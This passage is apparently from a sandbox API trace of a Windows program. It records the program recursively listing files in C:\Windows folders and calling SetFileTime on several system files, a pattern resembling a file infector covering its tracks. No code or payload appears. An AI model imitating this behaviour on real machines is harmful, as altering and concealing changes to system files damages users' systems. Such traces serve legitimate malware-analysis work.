dwReserved1=0x50153a, cFileName=".", cAlternateFileName="")) returned 0x502598 [0127.365] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0127.365] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c6ca989, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa060a95, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9c8946bd, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0127.365] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0127.365] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0127.365] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2123ea6, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb2123ea6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb2123ea6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3a200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="BDATunePIA.dll", cAlternateFileName="")) returned 1 [0127.366] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0127.369] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0127.369] CloseHandle (hObject=0x88) returned 1 [0127.369] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58332fb9, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x58332fb9, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x8a5807d0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehdebug.dll", cAlternateFileName="")) returned 1 [0127.369] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0127.370] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e111964, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0xf4712200, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x846fb345, ftLastWriteTime.dwHighDateTime=0x1ca0421, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehexthost32.exe", cAlternateFileName="")) returned 1 [0127.370] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0127.370] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8983cafc, ftCreationTime.dwHighDateTime=0x1ca03fd, ftLastAccessTime.dwLowDateTime=0x8983cafc, ftLastAccessTime.dwHighDateTime=0x1ca03fd, ftLastWriteTime.dwLowDateTime=0x881537d6, ftLastWriteTime.dwHighDateTime=0x1ca03fd, nFileSizeHigh=0x0, nFileSizeLow=0x8e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehexthost32.exe.config", cAlternateFileName="")) returned 1 [0127.370] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0127.370] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ccfd7c9, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x5ccfd7c9, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x8aa42c00, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1f600, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehtrace.dll", cAlternateFileName="")) returned 1 [0127.370] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0127.371] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1ff33a4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1ff33a4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb2019504, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc3a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehui.dll", cAlternateFileName="")) returned 1 [0127.371] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0127.371] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb203f665, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb203f665, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb2123ea6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17ae00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehuihlp.dll", cAlternateFileName="")) returned 1 [0127.371] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0127.371] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c8946bd, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa0145b7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9c8946bd, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0127.371] lstrcmpA (lpString1=".", lpString2="en-US") returned -1 [0127.371] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0127.371] FindFirstFileA (in: lpFileName="C:\\Windows\\ehome\\wow\\en-US\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c8946bd, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa0145b7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9c8946bd, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x501542, cFileName=".", cAlternateFileName="")) returned 0x502518 [0127.372] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0127.372] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c8946bd, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa0145b7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9c8946bd, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0127.372] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0127.372] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0127.372] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ehdebug.dll.mui", cAlternateFileName="")) returned 1 [0127.372] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0127.374] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0127.375] CloseHandle (hObject=0x8c) returned 1 [0127.375] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ehdebug.dll.mui", cAlternateFileName="")) returned 0 [0127.375] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0127.375] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb21e2588, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb21e2588, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb222e848, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x20e00, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="mcstoredb.dll", cAlternateFileName="")) returned 1 [0127.375] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0127.376] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb21e2588, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb21e2588, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb222e848, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x20e00, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="mcstoredb.dll", cAlternateFileName="")) returned 0 [0127.376] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0127.376] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa33b2a71, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa33b2a71, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa33b2a71, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2ea00, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="wtv2dvrms.dll", cAlternateFileName="")) returned 1 [0127.376] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.377] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e92abe1, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x8e92abe1, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xff0e1580, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x21200, dwReserved0=0x0, dwReserved1=0x0, cFileName="WTVConverter.exe", cAlternateFileName="")) returned 1 [0127.377] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.377] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd332351b, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xd332351b, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0xfe107fdb, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7f9070, dwReserved0=0x0, dwReserved1=0x0, cFileName="WTVGOTHIC-R.ttc", cAlternateFileName="")) returned 1 [0127.377] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.377] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd34ec577, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xd34ec577, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0xfe532623, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7de8c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="WTVGOTHIC-RB.ttc", cAlternateFileName="")) returned 1 [0127.377] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.378] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3832375, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xd3832375, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0xfebbe24b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6379c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WTVGOTHIC-S.ttc", cAlternateFileName="")) returned 1 [0127.378] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.378] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3832375, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xd3832375, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0xfebbe24b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6379c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WTVGOTHIC-S.ttc", cAlternateFileName="")) returned 0 [0127.378] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0127.378] FindNextFileA (in: hFindFile=0x502558, lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3757e82b, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x23fb0799, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e423fe3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0127.378] lstrcmpA (lpString1=".", lpString2="en-US") returned -1 [0127.378] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0127.378] FindFirstFileA (in: lpFileName="C:\\Windows\\en-US\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3757e82b, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x23fb0799, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e423fe3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0127.381] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0127.381] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3757e82b, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x23fb0799, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e423fe3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.381] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0127.381] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0127.381] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93053f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x93053f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bfsvc.exe.mui", cAlternateFileName="")) returned 1 [0127.381] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.384] SetFileTime (hFile=0x84, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0127.384] CloseHandle (hObject=0x84) returned 1 [0127.384] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9af1ce, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ae04390, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa9af1ce, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x400, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootfix.bin", cAlternateFileName="")) returned 1 [0127.385] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.385] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9fb740, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xacd0afb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa9fb740, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="explorer.exe.mui", cAlternateFileName="")) returned 1 [0127.385] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.386] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9292bcb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9292bcb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="fveupdate.exe.mui", cAlternateFileName="")) returned 1 [0127.386] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.387] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc35461a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc60371c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc35461a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="helppane.exe.mui", cAlternateFileName="")) returned 1 [0127.387] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.387] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa47cb2, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1a9fda0d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xaa47cb2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="hh.exe.mui", cAlternateFileName="")) returned 1 [0127.387] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.387] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecc7b00, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xecc7b00, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="notepad.exe.mui", cAlternateFileName="")) returned 1 [0127.387] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.388] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad1e37, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8ad1e37, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="regedit.exe.mui", cAlternateFileName="")) returned 1 [0127.388] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.388] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe494541, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe494541, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="twain_32.dll.mui", cAlternateFileName="")) returned 1 [0127.388] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.388] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9fb740, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xacd0afb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa9fb740, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="winhlp32.exe.mui", cAlternateFileName="")) returned 1 [0127.388] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.389] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9fb740, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xacd0afb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa9fb740, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="winhlp32.exe.mui", cAlternateFileName="")) returned 0 [0127.389] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0127.389] FindNextFileA (in: hFindFile=0x502558, lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90cd4312, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x90cd4312, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x90d6c893, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2bd400, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="explorer.exe", cAlternateFileName="")) returned 1 [0127.389] PeekMessageA (in: lpMsg=0x18fcc4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fcc4) returned 0 [0127.390] FindNextFileA (in: hFindFile=0x502558, lpFindFileData=0x18fce8 | out: 